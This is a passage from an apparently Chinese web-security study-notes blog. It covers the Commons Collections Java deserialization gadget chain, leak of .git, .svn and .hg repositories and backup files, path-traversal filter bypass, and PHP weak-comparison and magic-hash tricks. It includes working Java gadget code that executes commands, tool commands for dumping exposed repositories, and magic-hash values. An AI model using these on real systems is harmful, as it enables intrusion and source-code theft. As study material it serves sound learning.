3.1<\/code>\u7248\u672c\u4e3a\u4f8b\uff0c<code>InvokerTransformer<\/code>\u672c\u6765\u662f\u7528\u6765\u5e2e\u52a9\u5f00\u53d1\u4eba\u5458\u8fdb\u884c\u7c7b\u578b\u8f6c\u6362\u7684\uff0c\u4f46\u7531\u4e8e\u5176\u529f\u80fd\u8fc7\u4e8e\u7075\u6d3b\uff0c\u88ab\u5b89\u5168\u4eba\u5458\u53d1\u73b0\u53ef\u4ee5\u7528\u6765\u6267\u884c\u4efb\u610f\u4ee3\u7801<\/p>\n<pre><code class=\"language-java\">import org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\n\npublic class Exp0 {\n\n    public static void main(String[] args) {\n\n        \/\/ \u4f7f\u7528 ConstantTransformer \u5c06 Runtime.class \u5305\u88c5\u4e00\u5c42\uff0c\u7b49\u540c\u4e8e  Class&lt;Runtime&gt; runtimeClass = Runtime.class;\n        Object runtimeClass = new ConstantTransformer(Runtime.class).transform(null);\n\n        \/\/ \u4f7f\u7528 InvokerTransformer \u8c03\u7528 runtimeClass \u7684 getMethod \u65b9\u6cd5,\u7b49\u540c\u4e8e  Method getRuntime = runtimeClass.getMethod(&quot;getRuntime&quot;, null);\n        Object getRuntimeMethod = new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, null}).transform(runtimeClass);\n\n        \/\/ \u4f7f\u7528 InvokerTransformer \u8c03\u7528getRuntimeMethod \u7684 invoke \u65b9\u6cd5,\u7b49\u540c\u4e8e Object runtime = getRuntime.invoke(null, null);\n        Object runtime = new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[2]).transform(getRuntimeMethod);\n\n        \/\/ \u4f7f\u7528 InvokerTransformer \u8c03\u7528 runtime \u7684 exec \u65b9\u6cd5\uff0c\u7b49\u540c\u4e8e runtime.exec(&quot;calc&quot;)\n        Object exec = new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;}).transform(runtime);\n    }\n}\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<p><code>InvokerTransformer<\/code>\u6784\u9020\u65b9\u6cd5\u6709\u4e09\u4e2a\u53c2\u6570\uff0c\u5206\u522b\u4e3a \u65b9\u6cd5\u540d\u79f0\u3001\u65b9\u6cd5\u7c7b\u578b\u6570\u7ec4\u3001\u65b9\u6cd5\u53c2\u6570\u6570\u7ec4\uff0c\u65b9\u6cd5\u540d\u79f0\u4e0d\u7528\u591a\u8bf4\uff0c\u5176\u4e2d\u7b2c\u4e8c\u4e2a\u65b9\u6cd5\u7c7b\u578b\u6570\u7ec4\u548c\u7b2c\u4e09\u4e2a\u65b9\u6cd5\u53c2\u6570\u6570\u7ec4 \u7684\u957f\u5ea6\u5fc5\u987b\u8981\u76f8\u7b49\u3002<\/p>\n<p><code>InvokerTransformer<\/code>\u7684<code>transform<\/code>\u65b9\u6cd5\u5c31\u662f\u5c06\u8f93\u5165\u7684\u5bf9\u8c61\u6309\u7167\u6784\u9020\u65b9\u6cd5\u4f20\u5165\u7684\u53c2\u6570\u8f6c\u6362\u4e3a\u53e6\u4e00\u4e2a\u5bf9\u8c61\uff0c\u6ca1\u6709\u4efb\u4f55\u9650\u5236\uff0c\u56e0\u6b64\u5373\u4f7f\u7a0b\u5e8f\u5185\u90e8\u6ca1\u6709<code>Runtime.getRuntime().exec(&quot;cmd&quot;)<\/code>\u8fd9\u884c\u4ee3\u7801\uff0c\u4e5f\u901a\u8fc7<code>InvokerTransformer<\/code>\u6765\u53ef\u5b9e\u73b0\u8c03\u7528\u3002<\/p>\n<p>\u5c3d\u7ba1\u7a0b\u5e8f\u5185\u90e8\u6ca1\u6709<code>Runtime.getRuntime().exec(&quot;calc&quot;)<\/code>\u8fd9\u884c\u4ee3\u7801\uff0c\u4f46\u662f\u5f00\u53d1\u4eba\u5458\u80af\u5b9a\u4e5f\u4e0d\u4f1a\u628a\u4e0a\u9762\u90a3\u4e00\u5927\u5757\u4ee3\u7801\u5199\u5230\u7a0b\u5e8f\u91cc\u9762\uff0c\u56e0\u6b64\u6211\u4eec\u8fd8\u9700\u8981\u53e6\u60f3\u529e\u6cd5\u3002\u9996\u5148\u6211\u4eec\u5148\u628a\u4ee3\u7801\u7b80\u5316\u4e00\u4e0b\uff0c\u4fee\u6539\u4e3a\u94fe\u5f0f\u8c03\u7528\u3002<\/p>\n<pre><code class=\"language-java\">import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\n\npublic class Exp1 {\n\n    public static void main(String[] args) {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, null}),\n                new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[2]),\n                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})\n        };\n\n        \/\/ \u628a Transformer \u4f7f\u7528\u94fe\u7684\u65b9\u5f0f\u8c03\u7528\uff0c\u4ece\u4e0a\u5230\u4e0b\uff0c\u4e0d\u7528\u518d\u6bcf\u6b21\u6267\u884c\n        Transformer transformerChain = ChainedTransformer.getInstance(transformers);\n        \/\/ \u8c03\u7528\u8f6c\u6362\n        transformerChain.transform(null);\n    }\n}\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<p>\u8fd9\u6837\u6211\u4eec\u53ea\u9700\u8981\u8c03\u7528\u4e00\u6b21<code>transform<\/code>\u5c31\u884c\u4e86\uff0c\u4f46\u662f\u60f3\u8ba9\u76ee\u6807\u7cfb\u7edf\u6267\u884c\u6211\u4eec\u7684\u4ee3\u7801\u8fd8\u662f\u4e0d\u53ef\u80fd\u7684\uff0c\u56e0\u6b64\u8fd8\u9700\u8981\u518d\u5bfb\u6c42\u5176\u4ed6\u65b9\u5f0f\u3002<br \/>\n\u6709\u5b89\u5168\u4eba\u5458\u53d1\u73b0\uff0c<code>commons-collections<\/code>\u81ea\u5df1\u5b9e\u73b0\u4e86<code>Map.Entry<\/code>\uff0c\u5e76\u4e14\u5728<code>setValue<\/code>\u7684\u65f6\u5019\u4f1a\u5148\u8c03\u7528<code>TransformedMap<\/code>\u7684 <code>checkSetValue<\/code>\u65b9\u6cd5\uff0c\u800c\u8fd9\u4e2a\u65b9\u6cd5\u53c8\u8c03\u7528\u4e86\u6211\u4eec\u4f20\u5165\u7684<code>valueTransformer<\/code>\u7684<code>transform<\/code>\u65b9\u6cd5\uff0c\u8fd9\u6837\u4e00\u5957\u6d41\u7a0b\u4e0b\u6765\uff0c\u5f53\u6211\u4eec\u5bf9\u7ecf\u8fc7<code>TransformedMap<\/code>\u8f6c\u6362\u51fa\u6765\u7684<code>Map<\/code>\u505a<code>put<\/code>\u64cd\u4f5c\u7684\u65f6\u5019\uff0c\u90fd\u4f1a\u89e6\u53d1\u6267\u884c\u4e00\u6b21\u6211\u4eec\u6784\u9020\u7684\u4efb\u610f\u6307\u4ee4\u3002<\/p>\n<pre><code class=\"language-java\">import org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Exp2 {\n\n    public static void main(String[] args) {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, null}),\n                new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[2]),\n                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})\n        };\n\n        \/\/ \u628a Transformer \u4f7f\u7528\u94fe\u7684\u65b9\u5f0f\u8c03\u7528\uff0c\u4ece\u4e0a\u5230\u4e0b\uff0c\u4e0d\u7528\u518d\u6bcf\u6b21\u6267\u884c\n        Transformer transformerChain = ChainedTransformer.getInstance(transformers);\n\n        \/\/ \u5229\u7528 TransformedMap \u7684\u6f0f\u6d1e\u6765\u6267\u884c transform \u65b9\u6cd5\n        Map&lt;String, String&gt; innerMap = new HashMap&lt;&gt;();\n        innerMap.put(&quot;name&quot;, &quot;\u5b88\u6cd5\u5e02\u6c11\u5c0f\u675c&quot;);\n        \/\/ TransformedMap \u7ee7\u627f\u81ea AbstractInputCheckedMapDecorator\uff0cMap \u4e2d\u7684 \u5143\u7d20\u4f1a\u88ab\u8f6c\u6362\u4e3a AbstractInputCheckedMapDecorator.MapEntry\n        Map&lt;String, String&gt; outerMap = TransformedMap.decorate(innerMap, null, transformerChain);\n        \/\/ AbstractInputCheckedMapDecorator.MapEntry \u5728 setValue \u65f6\u4f1a\u5148\u8c03\u7528 parent.checkSetValue(value)\uff0c\u800c checkSetValue \u4f1a\u8c03\u7528 valueTransformer \u7684 transform \u65b9\u6cd5\n        outerMap.put(&quot;name&quot;, &quot;\u6cd5\u5916\u72c2\u5f92\u5f20\u4e09&quot;);\n    }\n}\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<p>\u73b0\u5728\u53ea\u5dee\u6700\u540e\u4e00\u6b65\uff0c\u9700\u8981\u627e\u5230\u4e00\u4e2a\u7c7b\uff0c\u7528\u5b83\u521b\u5efa\u4e00\u4e2a\u5bf9\u8c61\u5e76\u5b8c\u6210\u5e8f\u5217\u5316\uff0c\u540c\u65f6\u5b83\u8fd8\u5fc5\u987b\u6ee1\u8db3\u4ee5\u4e0b\u4e09\u4e2a\u6761\u4ef6\uff1a<\/p>\n<ol>\n<li>\u5b9e\u73b0\u4e86 Serializable \u63a5\u53e3<\/li>\n<li>\u589e\u52a0\u4e86 readObject \u65b9\u6cd5<\/li>\n<li>\u6210\u5458\u53d8\u91cf\u4e2d\u6709<code>Map<\/code>\u5e76\u4e14\u5728<code>readObject<\/code>\u65f6\u5bf9\u8fd9\u4e2a<code>Map<\/code>\u8fdb\u884c\u4e86<code>put<\/code>\u64cd\u4f5c\u6216\u64cd\u4f5c\u4e86<code>Map.Entry<\/code>\u7684<code>setValue<\/code>\u65b9\u6cd5\u3002<\/li>\n<\/ol>\n<p>\u5b89\u5168\u4eba\u5458\u5728\u5ba1\u67e5 <code>openjdk<\/code>\u6e90\u7801\u65f6\u53d1\u73b0\u4e86<code>sun.reflect.annotation.AnnotationInvocationHandler<\/code>\u8fd9\u4e2a\u7c7b\u7b26\u5408\u8fd9\u4e2a\u6761\u4ef6\uff0c\u53ea\u9700\u7528\u8fd9\u4e2a\u7c7b\u521b\u5efa\u4e00\u4e2a\u5bf9\u8c61\uff0c\u518d\u5c06\u5176\u5e8f\u5217\u5316\u4e4b\u540e\u7684\u5185\u5bb9\u53d1\u9001\u5230\u5176\u4ed6\u7cfb\u7edf\uff0c\u5373\u53ef\u5b8c\u6210\u6f0f\u6d1e\u5229\u7528\u3002<\/p>\n<h6>\u653b\u51fb\u65b9\u5f0f<\/h6>\n<p>\u624b\u6495\u4ee3\u7801\u8fd8\u662f\u6709\u70b9\u56f0\u96be\uff0c\u8fd9\u91cc<del>\u53c8\u53cc\u53d2\u53d5<\/del> \u63a8\u8350\u4e00\u4e2a\u5de5\u5177\uff1aysoserial\uff0c\u9700\u8981\u7f16\u8bd1\u6210jar\u5305<br \/>\n<a href=\"https:\/\/codeload.github.com\/frohoff\/ysoserial\/zip\/master\" target=\"_blank\"  rel=\"nofollow\" >ysoserial\u6e90\u7801<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/qq_50854790\/article\/details\/123854611\" target=\"_blank\"  rel=\"nofollow\" >ysoserial\u53cd\u5e8f\u5217\u5316\u5de5\u5177\u6253\u5305jar\u6587\u4ef6\u6d41\u7a0b<\/a><br \/>\n<a href=\"https:\/\/jitpack.io\/com\/github\/frohoff\/ysoserial\/master-30099844c6-1\/ysoserial-master-30099844c6-1.jar\" target=\"_blank\"  rel=\"nofollow\" >ysoserial jar\u5305\u4e0b\u8f7d\u5730\u5740<\/a><br \/>\n<a href=\"https:\/\/blog.csdn.net\/yang1234567898\/article\/details\/122290512\" target=\"_blank\"  rel=\"nofollow\" >ysoserial\u4f7f\u7528\u65b9\u6cd5<\/a><\/p>\n<h6>\u53c2\u8003\u6587\u7ae0<\/h6>\n<p><a href=\"https:\/\/zhuanlan.zhihu.com\/p\/422314689\" target=\"_blank\"  rel=\"nofollow\" >Java \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u539f\u7406\uff08\u4e00\uff09Serializable<\/a><\/p>\n<h3>0x10 \u4fe1\u606f\u6cc4\u9732<\/h3>\n<h4>\u76ee\u5f55\u904d\u5386<\/h4>\n<p><code>..\/<\/code>\u904d\u5386\uff0c\u5982\u9047\u8fc7\u6ee4\u5982<code>preg_replace(&quot;..\/&quot;,&quot;&quot;)<\/code>\uff0c\u53ef\u7528\u53cc\u5199<code>....\/\/<\/code>\u7ed5\u8fc7<\/p>\n<h4>\u5907\u4efd\u6587\u4ef6<\/h4>\n<ul>\n<li>index.php\u6587\u4ef6\u5907\u4efd\u540d\n<ul>\n<li>\u201c.git\u201d \u3001\u201c.svn\u201d\u3001\u201c .swp\u201d\u201c.~\u201d\u3001\u201c.bak\u201d\u3001\u201c.bash_history\u201d\u3001\u201c.bkf\u201d<\/li>\n<\/ul>\n<\/li>\n<li>\u7f51\u7ad9\u6e90\u7801\u5907\u4efd\u540d\n<ul>\n<li>\u6587\u4ef6\u540d<\/li>\n<li>web website backup back www wwwroot temp<\/li>\n<li>\u540e\u7f00\u540d<\/li>\n<li>tar tar.gz zip rar<\/li>\n<\/ul>\n<\/li>\n<li>vim\u7f13\u5b58\n<ul>\n<li>\u521b\u5efavim\u65f6\u56de\u4ea7\u751f\u7f13\u5b58\u6587\u4ef6\uff0c\u9000\u51fa\u65f6\u5c31\u4f1a\u5220\u9664\uff0c\u82e5\u5f02\u5e38\u9000\u51fa\uff0c\u4f1a\u4ea7\u751f.swp,.swo,.swn\u7b49\u7f13\u5b58\u6587\u4ef6<\/li>\n<\/ul>\n<\/li>\n<li>.DS_Store\n<ul>\n<li>Mac OS\u4fdd\u5b58\u6587\u4ef6\u5939\u7684\u81ea\u5b9a\u4e49\u5c5e\u6027\u7684\u9690\u85cf\u6587\u4ef6<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4>git\u6cc4\u9732<\/h4>\n<p>\u5de5\u5177\uff1agithacker<\/p>\n<pre><code class=\"language-bash\">git clone https:\/\/github.com\/WangYihang\/GitHacker\npython2 GitHacker.py -u targeturl<\/code><\/pre>\n<h4>SVN\u6cc4\u9732<\/h4>\n<p>\u5de5\u5177\uff1advcs-ripper<\/p>\n<pre><code class=\"language-bash\">git clone https:\/\/github.com\/kost\/dvcs-ripper.git\napt-get update\napt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl\n.\/rip-svn.pl -v -u ip\/.svn\/<\/code><\/pre>\n<h4>hg\u6cc4\u9732<\/h4>\n<p>\u5de5\u5177\uff1advcs-ripper<\/p>\n<pre><code class=\"language-bash\">git clone https:\/\/github.com\/kost\/dvcs-ripper.git\napt-get update\napt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl\n.\/rip-hg.pl -v -u ip\/.hg\/<\/code><\/pre>\n<h4>\u5f31\u53e3\u4ee4<\/h4>\n<p><a href=\"https:\/\/www.cnblogs.com\/bflw\/p\/12938013.html\" target=\"_blank\"  rel=\"nofollow\" >\u5e38\u89c1\u7f51\u7edc\u5b89\u5168\u8bbe\u5907\u5f31\u53e3\u4ee4<\/a><\/p>\n<h4>WEB-INF\/web.xml\u6cc4\u9732<\/h4>\n<h5>\u524d\u7f6e\u77e5\u8bc6<\/h5>\n<p>WEB-INF\u662fJava\u7684WEB\u5e94\u7528\u5b89\u5168\u76ee\u5f55\uff0c\u5982\u679c\u60f3\u5728\u9875\u9762\u4e2d\u76f4\u63a5\u8bbf\u95ee\u5176\u4e2d\u7684\u6587\u4ef6\uff0c\u5fc5\u987b\u901a\u8fc7web.xml\u5bf9\u8981\u8bbf\u95ee\u7684\u6587\u4ef6\u8fdb\u884c\u76f8\u5e94\u6620\u5c04\u624d\u80fd\u8bbf\u95ee<br \/>\nWEB-INF\u4e3b\u8981\u5305\u542b\u4ee5\u4e0b\u6587\u4ef6\u6216\u76ee\u5f55\uff1a<\/p>\n<ul>\n<li>\/WEB-INF\/web.xml\uff1aWeb\u5e94\u7528\u7a0b\u5e8f\u914d\u7f6e\u6587\u4ef6\uff0c\u63cf\u8ff0\u4e86servlet\u548c\u5176\u4ed6\u7684\u5e94\u7528\u7ec4\u4ef6\u914d\u7f6e\u53ca\u547d\u540d\u89c4\u5219<\/li>\n<li>\/WEB-INF\/classes\/\uff1a\u7ad9\u70b9\u6240\u7528\u7684class\u6587\u4ef6\uff0c\u5305\u62ecservlet class\u548c\u975eservlet class<\/li>\n<li>\/WEB-INF\/lib\/\uff1a\u5b58\u653e\u4e86web\u5e94\u7528\u9700\u8981\u7684\u5404\u79cdJAR\u6587\u4ef6\uff0c\u653e\u7f6e\u4ec5\u5728\u8fd9\u4e2a\u5e94\u7528\u4e2d\u8981\u6c42\u4f7f\u7528\u7684jar\u6587\u4ef6\uff0c\u5982\u6570\u636e\u5e93\u9a71\u52a8jar\u6587\u4ef6<\/li>\n<li>\/WEB-INF\/src\/\uff1a\u6e90\u7801\u76ee\u5f55\uff0c\u6309\u7167\u5305\u540d\u7ed3\u6784\u653e\u7f6e\u5404\u4e2ajava\u6587\u4ef6<\/li>\n<li>\/WEB-INF\/database.properties\uff1a\u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6<\/li>\n<\/ul>\n<h5>\u6f0f\u6d1e\u6210\u56e0<\/h5>\n<p>\u901a\u5e38\u4e00\u4e9bweb\u5e94\u7528\u4f1a\u4f7f\u7528\u591a\u4e2aweb\u670d\u52a1\u5668\u642d\u914d\u4f7f\u7528\uff0c\u89e3\u51b3\u5176\u4e2d\u4e00\u4e2aweb\u670d\u52a1\u5668\u7684\u6027\u80fd\u7f3a\u9677\u3001\u505a\u5747\u8861\u8d1f\u8f7d\u548c\u5b8c\u6210\u4e00\u4e9b\u5206\u5c42\u7ed3\u6784\u7684\u5b89\u5168\u7b56\u7565\u3002\u5728\u4f7f\u7528\u8fd9\u79cd\u67b6\u6784\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u5bf9\u9759\u6001\u8d44\u6e90\u7684\u76ee\u5f55\u6216\u6587\u4ef6\u7684\u6620\u5c04\u914d\u7f6e\u4e0d\u5f53\uff0c\u53ef\u80fd\u4f1a\u5f15\u53d1\u4e00\u4e9b\u5b89\u5168\u96be\u95ee\u9898\uff0c\u5bfc\u81f4web.xml\u7b49\u6587\u4ef6\u80fd\u591f\u88ab\u8bfb\u53d6<\/p>\n<h5>\u6f0f\u6d1e\u5229\u7528\u548c\u68c0\u6d4b<\/h5>\n<ul>\n<li>\u5229\u7528\u65b9\u6cd5<br \/>\n\u627e\u5230web.xml\u6587\u4ef6\uff0c\u63a8\u65adclass\u6587\u4ef6\u7684\u8def\u5f84\u83b7\u53d6class\u6587\u4ef6\uff0c\u518d\u901a\u8fc7\u53cd\u7f16\u8bd1class\u6587\u4ef6\u5f97\u5230\u7f51\u7ad9\u6e90\u7801<\/li>\n<li>\u68c0\u6d4b\u548c\u9632\u5fa1<br \/>\n\u4e00\u822c\u60c5\u51b5\u4e0b\uff0cjsp\u5f15\u64ce\u9ed8\u8ba4\u90fd\u662f\u7981\u6b62\u8bbf\u95eeWEB-INF\u76ee\u5f55\u7684\uff0c\u4f46Nginx\u914d\u5408Tomcat\u505a\u8d1f\u8f7d\u5747\u8861\u6216\u8005\u96c6\u7fa4\u7b49\u60c5\u51b5\u65f6\uff0cNginx\u4e0d\u4f1a\u53bb\u8003\u8651\u914d\u7f6e\u5176\u4ed6\u7c7b\u578b\u7684\u5f15\u64ce\uff08Nginx\u4e0d\u662fjsp\u5f15\u64ce\uff09\u5bfc\u81f4\u7684\u5b89\u5168\u95ee\u9898\u800c\u5f15\u5165\u81ea\u8eab\u7684\u5b89\u5168\u89c4\u8303\u6765<br \/>\n\u9632\u5fa1\u65b9\u6cd5\u5c31\u662f\u4fee\u6539Nginx\u914d\u7f6e\u6587\u4ef6\u7981\u6b62\u8bbf\u95eeWEB-INF\u76ee\u5f55\u5373\u53ef<\/li>\n<\/ul>\n<h3>0X11 php\u5b89\u5168<\/h3>\n<h4>php\u6570\u7ec4\u7684key\u6ea2\u51fa\u95ee\u9898<\/h4>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u4f5c\u4e3aPHP\u6700\u91cd\u8981\u7684\u6570\u636e\u7c7b\u578bHashTable\u5176key\u503c\u662f\u6709\u4e00\u5b9a\u7684\u8303\u56f4\u7684\uff0c\u5982\u679c\u8bbe\u7f6e\u7684key\u503c\u8fc7\u5927\u5c31\u4f1a\u51fa\u73b0\u6ea2\u51fa\u7684\u95ee\u9898<\/p>\n<h5>\u653b\u51fb\u65b9\u5f0f<\/h5>\n<pre><code class=\"language-php\">&lt;?php\n$arr[1] = &#039;1&#039;;\n$arr[18446744073708551617333333333333] = &#039;18446744073708551617333333333333&#039;;\n$arr[] = &#039;test&#039;;\n$arr[4294967296] = &#039;test&#039;;\n$arr[9223372036854775807] = &#039;test&#039;;\n$arr[9223372036854775808] = &#039;test&#039;;\nvar_dump($arr);<\/code><\/pre>\n<p>\u8f93\u51fa<\/p>\n<pre><code class=\"language-php\">array(6) {\n  [1]=&gt;\n  string(1) &quot;1&quot;\n  [-999799117276250112]=&gt;\n  string(32) &quot;18446744073708551617333333333333&quot;\n  [2]=&gt;\n  string(4) &quot;test&quot;\n  [4294967296]=&gt;\n  string(4) &quot;test&quot;\n  [9223372036854775807]=&gt;\n  string(4) &quot;test&quot;\n  [-9223372036854775808]=&gt;\n  string(4) &quot;test&quot;\n}<\/code><\/pre>\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u5f53key\u503c\u6bd4\u8f83\u5c0f\u662f\u6ca1\u6709\u95ee\u9898\uff0c\u5f53key\u503c\u5f88\u5927\u65f6\u8f93\u51fa\u7684\u503c\u6ea2\u51fa\u4e86\uff0c\u4e34\u754c\u70b9\u662f<code>9223372036854775807<\/code>\u8fd9\u4e2a\u6570\u5b57<\/p>\n<h4>php\u5f31\u7c7b\u578b\u6bd4\u8f83<\/h4>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u5728\u53d8\u91cf\u4f7f\u7528\u4e4b\u524d\u5fc5\u987b\u58f0\u660e\u53d8\u91cf\u7684\u7c7b\u578b\u548c\u540d\u79f0\uff0c\u4e14\u4e0d\u7ecf\u5f3a\u5236\u8f6c\u6362\u4e0d\u5141\u8bb8\u4e24\u79cd\u4e0d\u540c\u7c7b\u578b\u7684\u53d8\u91cf\u4e92\u76f8\u64cd\u4f5c\u4e3a\u5f3a\u7c7b\u578b\uff0c\u800c\u5f31\u7c7b\u578b\u53ef\u4ee5\u968f\u610f\u8f6c\u6362\u53d8\u91cf\u7684\u7c7b\u578b<br \/>\nhp\u6709\u4e24\u79cd\u6bd4\u8f83\u65b9\u5f0f,\u4e00\u79cd\u662f<code>= =<\/code>\u4e00\u79cd\u662f<code>= = =<\/code>\u8fd9\u4e24\u79cd\u90fd\u53ef\u4ee5\u6bd4\u8f83\u4e24\u4e2a\u6570\u5b57\u7684\u5927\u5c0f\uff0c\u4f46\u662f\u6709\u5f88\u660e\u663e\u7684\u533a\u522b\u3002<\/p>\n<p><code>= =<\/code>\uff1a\u4f1a\u628a\u4e24\u7aef\u53d8\u91cf\u7c7b\u578b\u8f6c\u6362\u6210\u76f8\u540c\u7684\uff0c\u5728\u8fdb\u884c\u6bd4\u8f83\u3002<\/p>\n<p><code>= = =<\/code>\uff1a\u4f1a\u5148\u5224\u65ad\u4e24\u7aef\u53d8\u91cf\u7c7b\u578b\u662f\u5426\u76f8\u540c\uff0c\u5728\u8fdb\u884c\u6bd4\u8f83\u3002<\/p>\n<h5>\u653b\u51fb\u65b9\u5f0f<\/h5>\n<pre><code class=\"language-php\">&lt;?php \nvar_dump(&quot;name&quot;==0);  \/\/true \nvar_dump(&quot;1name&quot;==1); \/\/true \nvar_dump(&quot;name1&quot;==1) \/\/false \nvar_dump(&quot;name1&quot;==0) \/\/true \nvar_dump(&quot;0e123456&quot;==&quot;0e4456789&quot;); \/\/true \n?&gt;<\/code><\/pre>\n<p>Hash\u78b0\u649e\uff1a<br \/>\n<code>0e<\/code>\u5728\u6bd4\u8f83\u7684\u65f6\u5019\u4f1a\u5c06\u5176\u89c6\u4f5c\u4e3a\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u6240\u4ee5\u65e0\u8bba<code>0e<\/code>\u540e\u9762\u662f\u4ec0\u4e48\uff0c0\u7684\u591a\u5c11\u6b21\u65b9\u8fd8\u662f0\uff0c\u6240\u4ee5\u6211\u4eec\u53ea\u9700\u8981\u8f93\u5165\u4e00\u4e2a\u6570\u5b57\u548c\u5b57\u7b26\u4e32\u8fdb\u884chash\u52a0\u5bc6\u4e4b\u540e\u90fd\u4e3a<code>0e<\/code>\uff0c\u5373\u53ef\u901a\u8fc7\u6bd4\u8f83<\/p>\n<pre><code class=\"language-php\">&quot;0e132456789&quot;==&quot;0e7124511451155&quot; \/\/true\n&quot;0e1abc&quot;==&quot;0&quot;     \/\/true\n\u5e38\u7528\u7684\u4ee50e\u5f00\u5934\u7684md5\u548c\u539f\u503c\uff1a\ns878926199a\n0e545993274517709034328855841020\ns155964671a\n0e342768416822451524974117254469\ns214587387a\n0e848240448830537924465865611904\ns214587387a\n0e848240448830537924465865611904\ns878926199a\n0e545993274517709034328855841020\ns1091221200a\n0e940624217856561557816327384675\ns1885207154a\n0e509367213418206700842008763514\ns1502113478a\n0e861580163291561247404381396064\ns1885207154a\n0e509367213418206700842008763514\ns1836677006a\n0e481036490867661113260034900752\ns155964671a\n0e342768416822451524974117254469\ns1184209335a\n0e072485820392773389523109082030\ns1665632922a\n0e731198061491163073197128363787\ns1502113478a\n0e861580163291561247404381396064\ns1836677006a\n0e481036490867661113260034900752\ns1091221200a\n0e940624217856561557816327384675\ns155964671a\n0e342768416822451524974117254469\ns1502113478a\n0e861580163291561247404381396064\ns155964671a\n0e342768416822451524974117254469\ns1665632922a\n0e731198061491163073197128363787\ns155964671a\n0e342768416822451524974117254469\ns1091221200a\n0e940624217856561557816327384675\ns1836677006a\n0e481036490867661113260034900752\ns1885207154a\n0e509367213418206700842008763514\ns532378020a\n0e220463095855511507588041205815\ns878926199a\n0e545993274517709034328855841020\ns1091221200a\n0e940624217856561557816327384675\ns214587387a\n0e848240448830537924465865611904\ns1502113478a\n0e861580163291561247404381396064\ns1091221200a\n0e940624217856561557816327384675\ns1665632922a\n0e731198061491163073197128363787\ns1885207154a\n0e509367213418206700842008763514\ns1836677006a\n0e481036490867661113260034900752\ns1665632922a\n0e731198061491163073197128363787\ns878926199a\n0e545993274517709034328855841020\nMD5(\u201c240610708\u201d)==md5(\u201cQNKCDZO\u201d)\n\n![](https:\/\/csdnimg.cn\/release\/blogv2\/dist\/pc\/img\/newCodeMoreWhite.png)<\/code><\/pre>\n<h4>php\u5f3a\u7c7b\u578b\u6bd4\u8f83<\/h4>\n<h5>MD5 SQL\u6ce8\u5165<\/h5>\n<p>\u4e3a\u4e86\u4fe1\u606f\u7684\u5b89\u5168\uff0c\u6211\u4eec\u5728\u6570\u636e\u5e93\u91cc\u9762\u5b58\u653e\u5bc6\u7801\u7684\u65f6\u5019\uff0c\u4e00\u822c\u662f\u8fdb\u884c\u4e86\u52a0\u5bc6\u5904\u7406\u7684\uff0c\u7136\u800cMD5\u52a0\u5bc6\u662f\u6bd4\u8f83\u7b80\u5355\u548c\u666e\u904d\u7684\u3002\u6240\u4ee5\u5927\u591a\u6570\u67e5\u8be2\u8bed\u53e5\u5728\u6ca1\u6709\u8fdb\u884c\u5904\u7406\u7684\u60c5\u51b5\u4e0b\u5e94\u8be5\u662f\uff1a<\/p>\n<pre><code class=\"language-sql\">        SELECT * FROM admin WHERE username = &#039;admin&#039; and password = &#039;&quot;.md5($password,true).&quot;&#039;<\/code><\/pre>\n<p>\u51fd\u6570\u539f\u578b\uff1a<code>md5(string,raw)<\/code><br \/>\n\u82e5raw=TRUE\uff0c\u8f93\u51fa32\u4f4d16\u8fdb\u5236\u5b57\u7b26\u4e32\uff1a\u5c06MD5\u52a0\u5bc6\u5f97\u5230\u7684128 \u4f4d\u957f\u5ea6\u7684&quot;\u6307\u7eb9\u4fe1\u606f&quot;\uff0c\u4ee5\u6bcf4\u4f4d\u4e3a\u4e00\u7ec4\uff0c\u5206\u4e3a32\u7ec4\uff0c\u6bcf\u7ec4\u4ee5\u8f6c\u6362\u4e3a16\u8fdb\u5236\uff0c\u8fdb\u884c\u8f6c\u6362\u5f97\u5230\u4e00\u4e2a32\u4f4d\u7684\u5b57\u7b26\u4e32<br 